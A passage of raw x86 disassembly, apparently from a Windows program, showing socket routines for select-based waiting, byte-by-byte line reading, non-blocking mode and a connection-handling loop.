call sub_4020EA
mov dl, [esp+128h+arg_8]
pop edi
mov [esi+80Dh], dl
mov al, 1
pop esi
add esp, 120h
retn 0Ch
sub_41A6D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A860 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax]
mov [ecx+806h], edx
mov edx, [eax]
cmp edx, 0FFFFFFFFh
setnz al
mov [ecx+80Bh], al
retn 4
sub_41A860 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A890 proc near ; CODE XREF: sub_401960j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 0
push edx
push eax
call sub_401B3B
retn 0Ch
sub_41A890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 210h
push ebx
push ebp
push esi
mov esi, ecx
push edi
cmp dword ptr [esi+806h], 0FFFFFFFFh
jz loc_41AA24
mov al, [esi+80Bh]
test al, al
jz loc_41AA24
mov edi, dword_50F8A4
call edi ; dword_50F8A4
mov ebp, eax
mov al, [esi+80Dh]
test al, al
jnz loc_41A9BC
mov ebx, [esp+220h+arg_8]
test ebx, ebx
jz loc_41A9BC
call sub_40195B
test al, al
jz loc_41A9BC
loc_41A91B: ; CODE XREF: sub_41A8C0+F6j
mov eax, [esi+806h]
mov ecx, 1
mov [esp+220h+var_100], eax
mov [esp+220h+var_104], ecx
mov [esp+220h+var_204], eax
mov [esp+220h+var_208], ecx
mov [esp+220h+var_210], 0
mov [esp+220h+var_20C], 64h
call edi ; dword_50F8A4
sub eax, ebp
cmp eax, ebx
ja loc_41AA24
lea eax, [esp+220h+var_210]
lea ecx, [esp+220h+var_208]
push eax
mov eax, [esi+806h]
push ecx
lea edx, [esp+228h+var_104]
push 0
inc eax
push edx
push eax
nop
call near ptr 71AB2DC0h
test eax, eax
jz short loc_41A9AF
mov edx, [esi+806h]
lea ecx, [esp+220h+var_208]
push ecx
push edx
call sub_436F60
test eax, eax
jnz loc_41AA24
mov ecx, [esi+806h]
lea eax, [esp+220h+var_104]
push eax
push ecx
call sub_436F60
test eax, eax
jnz short loc_41A9BC
loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj
call sub_40195B
test al, al
jnz loc_41A91B
loc_41A9BC: ; CODE XREF: sub_41A8C0+39j
; sub_41A8C0+48j ...
call sub_40195B
test al, al
jz short loc_41AA24
mov edx, [esp+220h+arg_4]
mov eax, [esp+220h+arg_0]
mov ecx, [esi+806h]
push 0
push edx
push eax
push ecx
nop
call near ptr 71AB615Ah
mov ecx, [esp+220h+arg_C]
test ecx, ecx
jz short loc_41A9F1
mov [ecx], eax
loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj
cmp eax, 0FFFFFFFFh
jz short loc_41AA09
test eax, eax
jz short loc_41AA09
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA09: ; CODE XREF: sub_41A8C0+134j
; sub_41A8C0+138j
call near ptr 71AB94DCh
nop
pop edi
cmp eax, 2733h
pop esi
pop ebp
setz al
pop ebx
add esp, 210h
retn 10h
; ---------------------------------------------------------------------------
loc_41AA24: ; CODE XREF: sub_41A8C0+13j
; sub_41A8C0+21j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 210h
retn 10h
sub_41A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AAA0: ; CODE XREF: ___:00401618j
mov eax, [ecx+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41AAF1
mov dl, [ecx+80Bh]
test dl, dl
jz short loc_41AAF1
mov ecx, [esp+8]
mov edx, [esp+4]
push 0
push ecx
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0Ch]
test ecx, ecx
jz short loc_41AAD2
mov [ecx], eax
loc_41AAD2: ; CODE XREF: ___:0041AACEj
cmp eax, 0FFFFFFFFh
jz short loc_41AAE0
test eax, eax
jz short loc_41AAE0
mov al, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAE0: ; CODE XREF: ___:0041AAD5j
; ___:0041AAD9j
nop
call near ptr 71AB94DCh
cmp eax, 2733h
setz al
retn 0Ch
; ---------------------------------------------------------------------------
loc_41AAF1: ; CODE XREF: ___:0041AAA9j
; ___:0041AAB3j
xor al, al
retn 0Ch
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AB20: ; CODE XREF: ___:004019B0j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AB3C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB3C: ; CODE XREF: ___:0041AB32j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AB52
loc_41AB48: ; CODE XREF: ___:0041AB8Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AB52: ; CODE XREF: ___:0041AB46j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41ABB6
mov edi, ebp
loc_41AB6B: ; CODE XREF: ___:0041ABB4j
cmp edi, ebx
jz short loc_41ABB6
cmp [esp+18h], bl
jz short loc_41ABB6
call sub_40195B
test al, al
jz short loc_41ABB6
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AB48
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41ABA1
cmp al, 0Dh
jz short loc_41ABA1
cmp al, bl
jnz short loc_41ABA9
loc_41ABA1: ; CODE XREF: ___:0041AB97j
; ___:0041AB9Bj
mov [esi+ebp-1], bl
mov [esp+18h], bl
loc_41ABA9: ; CODE XREF: ___:0041AB9Fj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AB6B
loc_41ABB6: ; CODE XREF: ___:0041AB67j
; ___:0041AB6Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AC00: ; CODE XREF: ___:00402180j
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+10h], esi
call sub_40195B
test al, al
jnz short loc_41AC1C
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: ___:0041AC12j
mov al, [esi+80Bh]
xor ebx, ebx
cmp al, bl
jnz short loc_41AC32
loc_41AC28: ; CODE XREF: ___:0041AC6Dj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_41AC32: ; CODE XREF: ___:0041AC26j
mov eax, [esp+1Ch]
mov ebp, [esp+18h]
xor esi, esi
dec eax
cmp eax, ebx
mov [ebp+0], bl
mov byte ptr [esp+18h], 1
jle short loc_41AC9D
mov edi, ebp
loc_41AC4B: ; CODE XREF: ___:0041AC9Bj
cmp edi, ebx
jz short loc_41AC9D
cmp [esp+18h], bl
jz short loc_41AC9D
call sub_40195B
test al, al
jz short loc_41AC9D
mov ecx, [esp+10h]
push ebx
push 1
push edi
call sub_401960
test al, al
jz short loc_41AC28
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41AC7D
cmp al, bl
jnz short loc_41AC90
loc_41AC7D: ; CODE XREF: ___:0041AC77j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41AC8A
mov [esi+ebp-1], bl
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC8A: ; CODE XREF: ___:0041AC82j
mov [edi], bl
loc_41AC8C: ; CODE XREF: ___:0041AC88j
mov [esp+18h], bl
loc_41AC90: ; CODE XREF: ___:0041AC7Bj
mov ecx, [esp+1Ch]
inc esi
inc edi
lea eax, [ecx-1]
cmp esi, eax
jl short loc_41AC4B
loc_41AC9D: ; CODE XREF: ___:0041AC47j
; ___:0041AC4Dj ...
mov edx, [esp+1Ch]
pop edi
pop esi
mov al, 1
mov [edx+ebp-1], bl
pop ebp
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41ACE0: ; CODE XREF: ___:00401082j
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41ACF2
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41ACF2: ; CODE XREF: ___:0041ACEAj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD03
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD03: ; CODE XREF: ___:0041ACFBj
mov ecx, [esp+0Ch]
mov edx, [esp+8]
push ecx
push edx
push eax
call near ptr 71AB951Eh
nop
pop esi
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AD30 proc near ; CODE XREF: sub_401893j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41AD42
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD42: ; CODE XREF: sub_41AD30+Aj
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jnz short loc_41AD53
xor eax, eax
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_41AD53: ; CODE XREF: sub_41AD30+1Bj
mov ecx, [esp+4+arg_4]
mov edx, [esp+4+arg_0]
push ecx
push edx
push eax
nop
call near ptr 71AC0B50h
pop esi
retn 8
sub_41AD30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AD80: ; CODE XREF: ___:00401C3Fj
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
mov al, [esi+80Ch]
cmp al, cl
mov eax, [esi+806h]
jnz short loc_41ADBF
cmp eax, 0FFFFFFFFh
jz short loc_41ADB5
cmp [esi+80Bh], cl
jz short loc_41ADB5
mov eax, 1
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADB5: ; CODE XREF: ___:0041AD9Ej
; ___:0041ADA6j
xor eax, eax
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADBF: ; CODE XREF: ___:0041AD99j
lea edx, [esp+4]
mov [esp+10h], eax
push edx
lea edx, [esp+10h]
push ecx
push edx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
call near ptr 71AB2DC0h
nop
test eax, eax
jnz short loc_41ADF5
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: ___:0041ADE9j
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AE50: ; CODE XREF: ___:004016E5j
sub esp, 10Ch
push esi
mov esi, ecx
xor ecx, ecx
cmp [esi+80Ch], cl
jnz short loc_41AE6D
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AE6D: ; CODE XREF: ___:0041AE61j
mov eax, [esi+806h]
lea edx, [esp+4]
push edx
lea edx, [esp+10h]
mov [esp+14h], eax
push edx
push ecx
inc eax
push ecx
push eax
mov dword ptr [esp+20h], 1
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2DC0h
test eax, eax
jnz short loc_41AEA9
xor al, al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_41AEA9: ; CODE XREF: ___:0041AE9Dj
mov ecx, [esi+806h]
lea eax, [esp+0Ch]
push eax
push ecx
call sub_436F60
test eax, eax
setnz al
pop esi
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41AEF0: ; CODE XREF: ___:0040173Aj
push esi
mov esi, [esp+8]
push edi
mov edi, ecx
push 800h
lea edx, [esi+6]
mov ax, [edi+4]
lea ecx, [edi+6]
push ecx
push edx
mov [esi+4], ax
nop
call near ptr 77C47A90h
xor al, al
add esp, 0Ch
mov dword ptr [esi+806h], 0FFFFFFFFh
mov [esi+80Ch], al
mov [esi+80Bh], al
mov al, [edi+80Dh]
mov [esi+80Dh], al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AF60 proc near ; CODE XREF: sub_4018BBj
arg_0 = dword ptr 4
mov al, byte ptr [esp+arg_0]
test al, al
mov [ecx+80Ch], al
jz short loc_41AF90
mov ecx, [ecx+806h]
lea eax, [esp+arg_0]
push eax
push 8004667Eh
push ecx
mov [esp+0Ch+arg_0], 1
call near ptr 71AB4519h
nop
retn 4
; ---------------------------------------------------------------------------
loc_41AF90: ; CODE XREF: sub_41AF60+Cj
mov eax, [ecx+806h]
lea edx, [esp+arg_0]
push edx
push 8004667Eh
push eax
mov [esp+0Ch+arg_0], 0
call near ptr 71AB4519h
nop
retn 4
sub_41AF60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41AFE0 proc near ; CODE XREF: sub_401186j
push esi
mov esi, ecx
push 0
lea ecx, [esi+4]
call sub_401C35
mov dword ptr [esi], offset off_43E0C0
mov eax, esi
pop esi
retn
sub_41AFE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40186B
test [esp+4+arg_0], 1
jz short loc_41B028
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B028: ; CODE XREF: sub_41B010+Dj
mov eax, esi
pop esi
retn 4
sub_41B010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B040 proc near ; CODE XREF: sub_40186Bj
mov dword ptr [ecx], offset off_43E0C0
add ecx, 4
jmp sub_401FC8
sub_41B040 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B060 proc near ; CODE XREF: sub_401636j
arg_0 = dword ptr 4
push esi
push edi
call sub_40195B
test al, al
jnz short loc_41B072
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B072: ; CODE XREF: sub_41B060+9j
mov esi, [esp+8+arg_0]
push esi
nop
call near ptr 71AB2BF4h
cmp eax, 0FFFFFFFFh
jnz short loc_41B0C5
push esi
nop
call near ptr 71AB4FD4h
mov edi, eax
test edi, edi
jnz short loc_41B097
pop edi
or eax, 0FFFFFFFFh
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_41B097: ; CODE XREF: sub_41B060+2Dj
mov eax, [edi+0Ch]
xor esi, esi
cmp dword ptr [eax], 0
jz short loc_41B0AC
loc_41B0A1: ; CODE XREF: sub_41B060+4Aj
mov ecx, [eax+4]
add eax, 4
inc esi
test ecx, ecx
jnz short loc_41B0A1
loc_41B0AC: ; CODE XREF: sub_41B060+3Fj
call sub_401EEC
dec esi
push esi
push 0
call sub_4021A3
; ---------------------------------------------------------------------------
mov ecx, [edi+0Ch]
add esp, 8
mov edx, [ecx+eax*4]
mov eax, [edx]
loc_41B0C5: ; CODE XREF: sub_41B060+20j
pop edi
pop esi
retn 4
sub_41B060 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B0F0: ; CODE XREF: ___:00402095j
push 0FFFFFFFFh
push offset loc_43AD07
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 38h
push ebx
push esi
xor ebx, ebx
push edi
mov [esp+0Ch], ebx
call sub_40195B
test al, al
jnz short loc_41B12F
mov eax, [esp+58h]
mov esi, [esp+54h]
push eax
mov ecx, esi
call sub_401861
jmp loc_41B2DB
; ---------------------------------------------------------------------------
loc_41B12F: ; CODE XREF: ___:0041B118j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+30h]
call sub_401861
mov edi, 1
lea ecx, [esp+2Ch]
mov [esp+4Ch], edi
call sub_4017E4
test eax, eax
push offset byte_446F60
jnz short loc_41B16C
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B16C: ; CODE XREF: ___:0041B156j
lea ecx, [esp+30h]
call sub_4012EE
test eax, eax
push offset byte_446F60
jnz short loc_41B192
mov esi, [esp+58h]
mov ecx, esi
call sub_401861
mov [esp+0Ch], edi
jmp loc_41B2CE
; ---------------------------------------------------------------------------
loc_41B192: ; CODE XREF: ___:0041B17Cj
lea ecx, [esp+18h]
call sub_401861
lea edx, [esp+10h]
push ebx
push edx
push ebx
push ebx
push 0Fh
lea ecx, [esp+40h]
mov byte ptr [esp+60h], 2
call sub_4017E4
push eax
call sub_436FC6
cmp eax, ebx
jz short loc_41B1D6
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov [esp+0Ch], edi
jmp loc_41B2C0
; ---------------------------------------------------------------------------
loc_41B1D6: ; CODE XREF: ___:0041B1BBj
mov edi, [esp+10h]
mov esi, offset dword_443DC4
mov ecx, [edi]
mov eax, [ecx+4]
loc_41B1E4: ; CODE XREF: ___:0041B202j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B208
cmp cl, bl
jz short loc_41B204
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B208
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B1E4
loc_41B204: ; CODE XREF: ___:0041B1EEj
xor eax, eax
jmp short loc_41B20D
; ---------------------------------------------------------------------------
loc_41B208: ; CODE XREF: ___:0041B1EAj
; ___:0041B1F8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B20D: ; CODE XREF: ___:0041B206j
cmp eax, ebx
jz short loc_41B27B
push ebp
loc_41B212: ; CODE XREF: ___:0041B265j
; ___:0041B269j
nop
call near ptr 27F06FDh
and eax, 0Fh
cmp al, 8
jnz short loc_41B226
cmp word ptr [edi+8], 0Fh
jz short loc_41B26B
loc_41B226: ; CODE XREF: ___:0041B21Dj
mov edi, [edi]
mov ebp, [esp+14h]
cmp edi, ebx
jnz short loc_41B232
mov edi, ebp
loc_41B232: ; CODE XREF: ___:0041B22Ej
mov eax, [edi+4]
mov esi, offset dword_443DC4
loc_41B23A: ; CODE XREF: ___:0041B258j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_41B25E
cmp cl, bl
jz short loc_41B25A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_41B25E
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_41B23A
loc_41B25A: ; CODE XREF: ___:0041B244j
xor eax, eax
jmp short loc_41B263
; ---------------------------------------------------------------------------
loc_41B25E: ; CODE XREF: ___:0041B240j
; ___:0041B24Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41B263: ; CODE XREF: ___:0041B25Cj
cmp eax, ebx
jnz short loc_41B212
mov edi, ebp
jmp short loc_41B212
; ---------------------------------------------------------------------------
loc_41B26B: ; CODE XREF: ___:0041B224j
mov eax, [edi+18h]
lea ecx, [esp+18h]
push eax
call sub_4015D7
pop ebp
jmp short loc_41B288
; ---------------------------------------------------------------------------
loc_41B27B: ; CODE XREF: ___:0041B20Fj
mov ecx, [edi+18h]
push ecx
lea ecx, [esp+18h]
call sub_4015D7
loc_41B288: ; CODE XREF: ___:0041B279j
push offset byte_446F60
lea ecx, [esp+18h]
call sub_4012EE
test eax, eax
jnz short loc_41B2A8
mov edx, [esp+58h]
lea ecx, [esp+14h]
push edx
call sub_4015D7
loc_41B2A8: ; CODE XREF: ___:0041B298j
mov esi, [esp+54h]
lea eax, [esp+14h]
push eax
mov ecx, esi
call sub_4014C9
mov dword ptr [esp+0Ch], 1
loc_41B2C0: ; CODE XREF: ___:0041B1D1j
lea ecx, [esp+14h]
mov byte ptr [esp+4Ch], 1
call sub_401226
loc_41B2CE: ; CODE XREF: ___:0041B167j
; ___:0041B18Dj
lea ecx, [esp+2Ch]
mov [esp+4Ch], bl
call sub_401226
loc_41B2DB: ; CODE XREF: ___:0041B12Aj
mov ecx, [esp+44h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 8
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B390: ; CODE XREF: ___:00402135j
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov dword ptr [esi], offset off_43E0C4
mov dword ptr [esi+11h], 0
mov dword ptr [esi+823h], 0
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BCC
test [esp+4+arg_0], 1
jz short loc_41B3E8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj
mov eax, esi
pop esi
retn 4
sub_41B3D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B400 proc near ; CODE XREF: sub_401BCCj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41B400
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401FC8
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_41B400 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B470: ; CODE XREF: ___:00401D3Ej
push esi
mov esi, ecx
call sub_401E6A
push 0
lea ecx, [esi+15h]
call sub_401C35
mov eax, [esp+8]
mov ecx, [esp+0Ch]
mov [esi+11h], eax
mov dword ptr [esi], offset off_43E0C4
mov [esi+823h], ecx
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B4B0 proc near ; CODE XREF: sub_40167Cj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 14h
push edi
mov edi, ecx
mov eax, [edi+11h]
test eax, eax
jz loc_41B5C0
mov ecx, [edi+823h]
test ecx, ecx
jz loc_41B5C0
push ebx
push ebp
lea ebx, [edi+15h]
push esi
push eax
mov ecx, ebx
xor esi, esi
call sub_401488
mov ebp, dword_50F8D0
test al, al
jnz short loc_41B513
loc_41B4E9: ; CODE XREF: sub_41B4B0+61j
mov al, [edi+10h]
test al, al
jz loc_41B5AF
mov al, byte_4E6E74
test al, al
jz short loc_41B513
push 7D0h
call ebp ; dword_50F8D0
mov eax, [edi+11h]
mov ecx, ebx
push eax
call sub_401488
test al, al
jz short loc_41B4E9
loc_41B513: ; CODE XREF: sub_41B4B0+37j
; sub_41B4B0+4Bj
mov al, [edi+10h]
test al, al
jz loc_41B5AF
loc_41B51E: ; CODE XREF: sub_41B4B0+F9j
mov al, byte_4E6E74
test al, al
jz loc_41B5AF
test esi, esi
jnz short loc_41B54E
push 80Eh
call sub_4367FA
add esp, 4
test eax, eax
jz short loc_41B54A
push esi
mov ecx, eax
call sub_401C35
jmp short loc_41B54C
; ---------------------------------------------------------------------------
loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej
xor eax, eax
loc_41B54C: ; CODE XREF: sub_41B4B0+98j
mov esi, eax
loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj
push 0
push 0
push esi
mov ecx, ebx
call sub_401B81
test al, al
jnz short loc_41B567
push 7D0h
call ebp ; dword_50F8D0
jmp short loc_41B5A4
; ---------------------------------------------------------------------------
loc_41B567: ; CODE XREF: sub_41B4B0+ACj
xor ecx, ecx
lea edx, [esp+24h+var_14]
mov [esp+24h+var_10], ecx
lea eax, [esp+24h+var_10]
mov [esp+24h+var_C], ecx
push edx
mov [esp+28h+var_8], ecx
push eax
mov [esp+2Ch+var_4], ecx
mov ecx, esi
mov [esp+2Ch+var_14], 10h
call sub_401893
mov al, byte ptr [esp+24h+var_C]
test al, al
jz short loc_41B5A4
push esi
call dword ptr [edi+823h]
add esp, 4
loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j
; sub_41B4B0+E8j
mov al, [edi+10h]
test al, al
jnz loc_41B51E
loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej
; sub_41B4B0+68j ...
mov ecx, ebx
call sub_4014DD
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj
; sub_41B4B0+19j
xor eax, eax
pop edi
add esp, 14h
retn
sub_41B4B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B620: ; CODE XREF: ___:00401C21j
mov eax, [esp+0Ch]
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
xor ebx, ebx
xor edi, edi
dec eax
mov [ebp+0], bl
cmp eax, ebx
mov byte ptr [esp+18h], 1
jle short loc_41B695
mov esi, ebp
loc_41B63F: ; CODE XREF: ___:0041B693j
cmp esi, ebx
jz short loc_41B695
cmp [esp+18h], bl
jz short loc_41B695
mov ecx, [esp+14h]
push ebx
push 1
push esi
push ecx
nop
call near ptr 71AB615Ah
cmp eax, ebx
jz short loc_41B6A4
cmp eax, 0FFFFFFFFh
jz short loc_41B6A4
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_41B69D
mov [edi+ebp+1], bl
mov al, [esi]
cmp al, 0Ah
jz short loc_41B680
cmp al, 0Dh
jz short loc_41B680
cmp al, bl
jnz short loc_41B688
loc_41B680: ; CODE XREF: ___:0041B676j
; ___:0041B67Aj
mov [edi+ebp-1], bl
mov [esp+18h], bl
loc_41B688: ; CODE XREF: ___:0041B67Ej
mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B63F
loc_41B695: ; CODE XREF: ___:0041B63Bj
; ___:0041B641j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B69D: ; CODE XREF: ___:0041B66Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B6A4: ; CODE XREF: ___:0041B65Aj
; ___:0041B65Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B6E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B74A
mov edi, ebp
loc_41B6FF: ; CODE XREF: sub_41B6E0+68j
cmp edi, ebx
jz short loc_41B74A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B74A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
call near ptr 71AB615Ah
nop
test eax, eax
jz short loc_41B759
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B72A
cmp al, bl
jnz short loc_41B73D
loc_41B72A: ; CODE XREF: sub_41B6E0+44j
